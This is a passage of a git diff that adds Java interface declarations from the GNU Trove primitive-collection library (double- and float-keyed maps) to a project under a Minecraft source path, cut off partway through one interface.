+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleByteMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(double paramDouble, byte paramByte);
+  
+  public abstract byte putIfAbsent(double paramDouble, byte paramByte);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TDoubleByteMap paramTDoubleByteMap);
+  
+  public abstract byte get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleByteIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleByteProcedure paramTDoubleByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TDoubleByteProcedure paramTDoubleByteProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(double paramDouble, byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleCharMap.java b/src/minecraft/gnu/trove/map/TDoubleCharMap.java
new file mode 100644
index 0000000..6028bd1
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TDoubleCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TDoubleCharProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleCharMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(double paramDouble, char paramChar);
+  
+  public abstract char putIfAbsent(double paramDouble, char paramChar);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Character> paramMap);
+  
+  public abstract void putAll(TDoubleCharMap paramTDoubleCharMap);
+  
+  public abstract char get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleCharIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleCharProcedure paramTDoubleCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TDoubleCharProcedure paramTDoubleCharProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble, char paramChar);
+  
+  public abstract char adjustOrPutValue(double paramDouble, char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleDoubleMap.java b/src/minecraft/gnu/trove/map/TDoubleDoubleMap.java
new file mode 100644
index 0000000..fb7b3a9
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleDoubleMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TDoubleDoubleIterator;
+import gnu.trove.procedure.TDoubleDoubleProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleDoubleMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract double getNoEntryValue();
+  
+  public abstract double put(double paramDouble1, double paramDouble2);
+  
+  public abstract double putIfAbsent(double paramDouble1, double paramDouble2);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Double> paramMap);
+  
+  public abstract void putAll(TDoubleDoubleMap paramTDoubleDoubleMap);
+  
+  public abstract double get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleDoubleProcedure paramTDoubleDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TDoubleDoubleProcedure paramTDoubleDoubleProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble1, double paramDouble2);
+  
+  public abstract double adjustOrPutValue(double paramDouble1, double paramDouble2, double paramDouble3);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleFloatMap.java b/src/minecraft/gnu/trove/map/TDoubleFloatMap.java
new file mode 100644
index 0000000..4a6f61d
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TDoubleFloatIterator;
+import gnu.trove.procedure.TDoubleFloatProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleFloatMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(double paramDouble, float paramFloat);
+  
+  public abstract float putIfAbsent(double paramDouble, float paramFloat);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Float> paramMap);
+  
+  public abstract void putAll(TDoubleFloatMap paramTDoubleFloatMap);
+  
+  public abstract float get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleFloatProcedure paramTDoubleFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TDoubleFloatProcedure paramTDoubleFloatProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble, float paramFloat);
+  
+  public abstract float adjustOrPutValue(double paramDouble, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleIntMap.java b/src/minecraft/gnu/trove/map/TDoubleIntMap.java
new file mode 100644
index 0000000..7796570
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TDoubleIntIterator;
+import gnu.trove.procedure.TDoubleIntProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleIntMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(double paramDouble, int paramInt);
+  
+  public abstract int putIfAbsent(double paramDouble, int paramInt);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TDoubleIntMap paramTDoubleIntMap);
+  
+  public abstract int get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleIntIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleIntProcedure paramTDoubleIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TDoubleIntProcedure paramTDoubleIntProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble, int paramInt);
+  
+  public abstract int adjustOrPutValue(double paramDouble, int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleLongMap.java b/src/minecraft/gnu/trove/map/TDoubleLongMap.java
new file mode 100644
index 0000000..1d01aa9
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TDoubleLongIterator;
+import gnu.trove.procedure.TDoubleLongProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleLongMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(double paramDouble, long paramLong);
+  
+  public abstract long putIfAbsent(double paramDouble, long paramLong);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Long> paramMap);
+  
+  public abstract void putAll(TDoubleLongMap paramTDoubleLongMap);
+  
+  public abstract long get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleLongIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleLongProcedure paramTDoubleLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TDoubleLongProcedure paramTDoubleLongProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble, long paramLong);
+  
+  public abstract long adjustOrPutValue(double paramDouble, long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleObjectMap.java b/src/minecraft/gnu/trove/map/TDoubleObjectMap.java
new file mode 100644
index 0000000..042fa80
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TDoubleObjectIterator;
+import gnu.trove.procedure.TDoubleObjectProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TDoubleObjectMap<V>
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(double paramDouble);
+  
+  public abstract V put(double paramDouble, V paramV);
+  
+  public abstract V putIfAbsent(double paramDouble, V paramV);
+  
+  public abstract V remove(double paramDouble);
+  
+  public abstract void putAll(Map<? extends Double, ? extends V> paramMap);
+  
+  public abstract void putAll(TDoubleObjectMap<V> paramTDoubleObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TDoubleObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleObjectProcedure<V> paramTDoubleObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TDoubleObjectProcedure<V> paramTDoubleObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TDoubleShortMap.java b/src/minecraft/gnu/trove/map/TDoubleShortMap.java
new file mode 100644
index 0000000..f33aee6
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TDoubleShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TDoubleShortIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TDoubleShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TDoubleShortMap
+  extends Serializable
+{
+  public abstract double getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(double paramDouble, short paramShort);
+  
+  public abstract short putIfAbsent(double paramDouble, short paramShort);
+  
+  public abstract void putAll(Map<? extends Double, ? extends Short> paramMap);
+  
+  public abstract void putAll(TDoubleShortMap paramTDoubleShortMap);
+  
+  public abstract short get(double paramDouble);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(double paramDouble);
+  
+  public abstract int size();
+  
+  public abstract TDoubleSet keySet();
+  
+  public abstract double[] keys();
+  
+  public abstract double[] keys(double[] paramArrayOfDouble);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(double paramDouble);
+  
+  public abstract TDoubleShortIterator iterator();
+  
+  public abstract boolean forEachKey(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TDoubleShortProcedure paramTDoubleShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TDoubleShortProcedure paramTDoubleShortProcedure);
+  
+  public abstract boolean increment(double paramDouble);
+  
+  public abstract boolean adjustValue(double paramDouble, short paramShort);
+  
+  public abstract short adjustOrPutValue(double paramDouble, short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatByteMap.java b/src/minecraft/gnu/trove/map/TFloatByteMap.java
new file mode 100644
index 0000000..58a9b80
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TFloatByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TFloatByteProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatByteMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(float paramFloat, byte paramByte);
+  
+  public abstract byte putIfAbsent(float paramFloat, byte paramByte);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TFloatByteMap paramTFloatByteMap);
+  
+  public abstract byte get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract TFloatByteIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TFloatByteProcedure paramTFloatByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TFloatByteProcedure paramTFloatByteProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(float paramFloat, byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatCharMap.java b/src/minecraft/gnu/trove/map/TFloatCharMap.java
new file mode 100644
index 0000000..561c32c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TFloatCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TFloatCharProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatCharMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(float paramFloat, char paramChar);
+  
+  public abstract char putIfAbsent(float paramFloat, char paramChar);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Character> paramMap);
+  
+  public abstract void putAll(TFloatCharMap paramTFloatCharMap);
+  
+  public abstract char get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract TFloatCharIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TFloatCharProcedure paramTFloatCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TFloatCharProcedure paramTFloatCharProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat, char paramChar);
+  
+  public abstract char adjustOrPutValue(float paramFloat, char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatDoubleMap.java b/src/minecraft/gnu/trove/map/TFloatDoubleMap.java
new file mode 100644
index 0000000..927f1a8
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TFloatDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TFloatDoubleProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatDoubleMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract double getNoEntryValue();
+  
+  public abstract double put(float paramFloat, double paramDouble);
+  
+  public abstract double putIfAbsent(float paramFloat, double paramDouble);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Double> paramMap);
+  
+  public abstract void putAll(TFloatDoubleMap paramTFloatDoubleMap);
+  
+  public abstract double get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract TFloatDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TFloatDoubleProcedure paramTFloatDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TFloatDoubleProcedure paramTFloatDoubleProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat, double paramDouble);
+  
+  public abstract double adjustOrPutValue(float paramFloat, double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatFloatMap.java b/src/minecraft/gnu/trove/map/TFloatFloatMap.java
new file mode 100644
index 0000000..da5b883
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatFloatMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TFloatFloatIterator;
+import gnu.trove.procedure.TFloatFloatProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatFloatMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(float paramFloat1, float paramFloat2);
+  
+  public abstract float putIfAbsent(float paramFloat1, float paramFloat2);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Float> paramMap);
+  
+  public abstract void putAll(TFloatFloatMap paramTFloatFloatMap);
+  
+  public abstract float get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract TFloatFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TFloatFloatProcedure paramTFloatFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TFloatFloatProcedure paramTFloatFloatProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat1, float paramFloat2);
+  
+  public abstract float adjustOrPutValue(float paramFloat1, float paramFloat2, float paramFloat3);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatIntMap.java b/src/minecraft/gnu/trove/map/TFloatIntMap.java
new file mode 100644
index 0000000..2d77662
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TFloatIntIterator;
+import gnu.trove.procedure.TFloatIntProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatIntMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(float paramFloat, int paramInt);
+  
+  public abstract int putIfAbsent(float paramFloat, int paramInt);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TFloatIntMap paramTFloatIntMap);
+  
+  public abstract int get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract TFloatIntIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TFloatIntProcedure paramTFloatIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TFloatIntProcedure paramTFloatIntProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat, int paramInt);
+  
+  public abstract int adjustOrPutValue(float paramFloat, int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatLongMap.java b/src/minecraft/gnu/trove/map/TFloatLongMap.java
new file mode 100644
index 0000000..bd366a7
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TFloatLongIterator;
+import gnu.trove.procedure.TFloatLongProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatLongMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(float paramFloat, long paramLong);
+  
+  public abstract long putIfAbsent(float paramFloat, long paramLong);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Long> paramMap);
+  
+  public abstract void putAll(TFloatLongMap paramTFloatLongMap);
+  
+  public abstract long get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
